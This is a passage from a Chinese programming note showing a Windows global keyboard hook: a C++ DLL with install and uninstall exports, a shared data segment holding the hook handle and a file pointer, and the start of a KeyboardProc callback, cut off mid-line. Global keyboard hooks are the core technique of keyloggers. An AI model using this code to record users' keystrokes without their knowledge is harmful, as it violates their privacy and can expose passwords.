另一个用asm写的 : win32asm 全局钩子
反编译用
一个无用的键盘钩子, console 代码中加入msg loop , 被勾应用调用SendMessage 去调用钩子函数. 如果不加msg loop 则一直等待
dll:
te.h
#pragma once
#ifdef _DLLAPI
#define DLLAPI extern "C" __declspec(dllexport)
#else
#define DLLAPI extern "C" __declspec(dllimport)
#endif
DLLAPI BOOL install_hook();
DLLAPI BOOL uninstall_hook();
te.cpp
#ifdef _DLLAPI
#include "pch.h"
#include <stdlib.h>
#pragma data_seg("shared_data") //共享段
HHOOK hook = 0;
FILE* pFile = 0;
#pragma data_seg()
#pragma comment(linker,"/section:shared_data,rws")
LRESULT CALLBACK KeyboardProc(int code,
WPARAM wParam,
LPARAM lParam
)
{
char szBuffer[256] = { 0 };
char szWriteBuffer[256] = { 0 };
if (code < 0 || code == HC_NOREMOVE |